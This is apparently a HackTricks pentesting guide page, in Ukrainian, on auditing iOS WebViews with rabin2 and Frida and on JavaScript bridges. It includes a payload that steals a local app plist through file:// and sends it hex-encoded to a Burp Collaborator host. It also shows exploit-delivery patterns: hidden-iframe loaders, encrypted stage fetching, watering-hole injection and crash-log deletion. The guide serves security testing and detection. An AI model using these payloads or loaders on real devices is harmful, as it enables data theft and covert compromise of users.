iOS WebViews

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Код цієї сторінки було вилучено з here. Перегляньте сторінку для отримання додаткових відомостей.

Типи WebViews

WebViews використовуються в додатках для інтерактивного відображення веб-контенту. Різні типи WebViews надають різні функціональні можливості та засоби захисту для iOS-додатків. Ось короткий огляд:

  • UIWebView, який більше не рекомендовано починаючи з iOS 12 через відсутність підтримки вимкнення JavaScript, що робить його вразливим до ін’єкції скриптів та атак Cross-Site Scripting (XSS).

  • WKWebView — переважний вибір для інтеграції веб-контенту в додатки, він забезпечує розширений контроль над контентом та функціями безпеки. JavaScript увімкнений за замовчуванням, але його можна вимкнути за потреби. Він також підтримує механізми, що перешкоджають автоматичному відкриванню вікон JavaScript і гарантує, що весь контент завантажується безпечно. Крім того, архітектура WKWebView зводить до мінімуму ризик того, що пошкодження пам’яті вплине на основний процес додатка.

  • SFSafariViewController забезпечує стандартизований досвід веб-перегляду в додатках, впізнаваний за специфічним інтерфейсом, що включає поле адреси тільки для читання, кнопки спільного доступу та навігації, а також пряме посилання для відкриття контенту в Safari. На відміну від WKWebView, JavaScript не можна вимкнути в SFSafariViewController, який також ділиться cookies та даними з Safari, забезпечуючи конфіденційність користувача відносно додатка. Він повинен відображатися помітно відповідно до вказівок App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Підсумок дослідження конфігурацій

Огляд статичного аналізу

У процесі дослідження конфігурацій WebViews основна увага зосереджена на двох типах: UIWebView та WKWebView. Для ідентифікації цих WebViews у бінарному файлі використовуються команди, що шукають конкретні посилання на класи та методи ініціалізації.

  • UIWebView Ідентифікація
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Ця команда допомагає знаходити випадки використання UIWebView, шукаючи пов’язані з ним текстові рядки в binary.

  • Ідентифікація WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Аналогічно, для WKWebView, ця команда шукає в binary текстові рядки, які вказують на його використання.

Крім того, щоб знайти, як ініціалізується WKWebView, виконується наступна команда, що націлена на сигнатуру методу, пов’язану з його ініціалізацією:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Перевірка конфігурації JavaScript

Для WKWebView зазначається, що вимкнення JavaScript є найкращою практикою, якщо це не потрібно. У скомпільованому бінарному файлі здійснюється пошук, щоб підтвердити, що властивість javaScriptEnabled встановлена в false, гарантуючи, що JavaScript вимкнено:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Перевірка лише безпечного вмісту

WKWebView надає можливість визначати проблеми змішаного вмісту, на відміну від UIWebView. Це перевіряється за допомогою властивості hasOnlySecureContent, щоб гарантувати, що всі ресурси сторінки завантажуються через безпечні з’єднання. Пошук у скомпільованому бінарному файлі виконується таким чином:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Висновки динамічного аналізу

Динамічний аналіз передбачає інспекцію heap на наявність екземплярів WebView та їхніх властивостей. Для цього використовується скрипт webviews_inspector.js, орієнтований на екземпляри UIWebView, WKWebView та SFSafariViewController. Він фіксує інформацію про знайдені екземпляри, включно з URL та налаштуваннями, що стосуються JavaScript та захищеного контенту.

Інспекцію heap можна проводити за допомогою ObjC.choose() для ідентифікації екземплярів WebView та перевірки властивостей javaScriptEnabled і hasonlysecurecontent.

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

Скрипт виконується за допомогою:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Ключові результати:

  • Екземпляри WebViews успішно знайдені та проінспектовані.
  • Увімкнення JavaScript та налаштування безпечного контенту перевірені.

Цей підсумок охоплює критичні кроки та команди, що використовуються для аналізу конфігурацій WebView як статичними, так і динамічними підходами, з акцентом на функції безпеки, такі як увімкнення JavaScript та виявлення змішаного контенту.

Обробка протоколів WebView

Обробка контенту в WebViews є критичним аспектом, особливо при роботі з різними протоколами, такими як http(s)://, file:// та tel://. Ці протоколи дозволяють завантажувати як віддалений, так і локальний контент у додатках. Наголошується, що при завантаженні локального контенту слід вживати заходів обережності, щоб користувачі не могли впливати на ім’я файлу або шлях до нього та редагувати сам вміст.

WebViews пропонують різні методи для завантаження контенту. Для UIWebView, який тепер застарів, використовуються методи на кшталт loadHTMLString:baseURL: та loadData:MIMEType:textEncodingName:baseURL:. WKWebView, з іншого боку, використовує loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: та loadRequest: для веб-контенту. Методи на кшталт pathForResource:ofType:, URLForResource:withExtension: та init(contentsOf:encoding:) зазвичай застосовуються для завантаження локальних файлів. Метод loadFileURL:allowingReadAccessToURL: особливо примітний своєю здатністю завантажувати конкретну URL або директорію у WebView, що потенційно може призвести до витоку чутливих даних, якщо вказана директорія.

Щоб знайти ці методи в коді джерела або скомпільованому бінарному файлі, можна використовувати такі команди:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Що стосується доступу до файлів, UIWebView дозволяє його повсюдно, тоді як WKWebView вводить налаштування allowFileAccessFromFileURLs та allowUniversalAccessFromFileURLs для керування доступом із file URL-ів, обидва за замовчуванням встановлені в false.

Наведено приклад скрипта Frida для перевірки конфігурацій WKWebView на предмет налаштувань безпеки:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Нарешті, приклад JavaScript payload, спрямованого на exfiltrating local files, демонструє потенційний ризик безпеки, пов’язаний з неправильно налаштованими WebViews. Цей payload кодує вміст файлів у hex формат перед відправленням на server, підкреслюючи важливість суворих заходів безпеки в WebView implementations.

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

Нативні методи, доступні через WebViews

Розуміння нативних інтерфейсів WebView в iOS

З iOS 7 Apple надала API для комунікації між JavaScript у WebView та нативними об’єктами Swift або Objective-C. Ця інтеграція реалізується переважно через два підходи:

  • JSContext: JavaScript-функція автоматично створюється, коли блок Swift або Objective-C пов’язується з ідентифікатором всередині JSContext. Це дозволяє безшовну інтеграцію та обмін даними між JavaScript і нативним кодом.
  • JSExport Protocol: Наслідуючи протокол JSExport, нативні властивості, екземплярні методи та методи класу можуть бути експоновані для JavaScript. Це означає, що будь-які зміни в середовищі JavaScript відображаються в нативному середовищі і навпаки. Проте важливо переконатися, що чутлива інформація не буде випадково експонована через цей механізм.

Доступ до JSContext в Objective-C

В Objective-C JSContext для UIWebView можна отримати за допомогою наступного рядка коду:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Комунікація з WKWebView

Для WKWebView прямий доступ до JSContext недоступний. Натомість використовується передача повідомлень через функцію postMessage, що дозволяє JavaScript взаємодіяти з нативним додатком. Обробники цих повідомлень налаштовуються так, щоб забезпечити безпечну взаємодію JavaScript з додатком:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Взаємодія та тестування

JavaScript може взаємодіяти з нативним шаром, визначаючи обробник script message handler. Це дозволяє виконувати операції, такі як виклик нативних функцій зі сторінки:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Щоб перехопити та маніпулювати результатом native function call, можна перевизначити callback function у HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

Нативна частина обробляє виклик JavaScript, як показано в класі JavaScriptBridgeMessageHandler, де результат операцій, таких як множення чисел, обробляється і відправляється назад до JavaScript для відображення або подальшого опрацювання.

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS Web Exploit Delivery & Staging Tradecraft

Нижче наведено шаблони, які спостерігалися в реальних iOS Safari/WebKit exploit delivery chains і корисні для аналізу, виявлення та керованої емуляції.

Multi-stage loader via hidden iframes

Поширений staging pattern полягає в тому, щоб обмежити виконання, щоб уникнути повторної інфекції або аналізу, а потім вставити прихований/поза-екранний iframe для наступного етапу:

<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>

Мінімальна staging-сторінка може inject основний loader через document.write():

<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>

Loader stages часто підвантажують наступний JavaScript синхронно:

function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}

Пізніші етапи можуть виконуватися у worker-like контексті шляхом створення Blob URL:

const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);

Примусити Safari звернутися до поверхні WebKit/JSC

Якщо жертва відкриє приманку в іншому браузері, обробник протоколу може примусити Safari:

if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}

Зашифроване отримання стадії (ECDH + AES)

Деякі loaders шифрують exploit stages під час передачі. Мінімальна послідовність дій клієнта: згенерувати ефемерну пару ключів ECDH, POST base64 public key, отримати encrypted blobs, отримати AES-ключ, розшифрувати, а потім декодувати в JavaScript:

const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));

Watering-hole injection pattern

Скомпрометовані сайти можуть завантажувати віддалений script, який створює позаекранний iframe і обмежує його за допомогою sandbox, при цьому все ще дозволяючи його виконання:

<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);

Індикатори антифорензики після експлуатації (JS implants)

  • Тимчасове розміщення в /tmp/<uuid>.<digits>/ з підпапками на кшталт STORAGE, DATA, та TMP.
  • Видалення crash logs у /var/mobile/Library/Logs/CrashReporter/ (часто фільтрується за підрядками WebKit/SpringBoard).
  • Рекурсивне видалення /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/.

Налагодження iOS WebViews

(Покрокове керівництво базується на https://blog.vuplex.com/debugging-webviews)

Для ефективного налагодження веб-контенту всередині iOS webviews потрібне спеціальне налаштування з використанням developer tools Safari, оскільки повідомлення, відправлені в console.log(), не відображаються в Xcode logs. Ось спрощений гід з ключовими кроками та вимогами:

  • Підготовка на iOS-пристрої: На вашому iOS-пристрої потрібно активувати Safari Web Inspector. Це робиться через Settings > Safari > Advanced, увімкнувши Web Inspector.

  • Підготовка на macOS-пристрої: На вашій macOS машині для розробки необхідно ввімкнути інструменти розробника в Safari. Запустіть Safari, зайдіть у Safari > Preferences > Advanced, і виберіть опцію Show Develop menu.

  • Підключення та налагодження: Після підключення iOS-пристрою до macOS і запуску вашого застосунку скористайтеся Safari на macOS, щоб обрати webview для налагодження. Перейдіть у Develop в меню Safari, наведіть курсор на назву вашого iOS-пристрою, щоб побачити список інстансів webview, і виберіть потрібний для інспекції. Для цього відкриється вікно Safari Web Inspector.

Однак зверніть увагу на обмеження:

  • Налагодження цим методом вимагає macOS-пристрою, оскільки воно залежить від Safari.
  • Налагоджувати можна лише webviews у додатках, завантажених на пристрій через Xcode. Webviews у додатках, встановлених через App Store або Apple Configurator, таким чином налагодити не можна.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks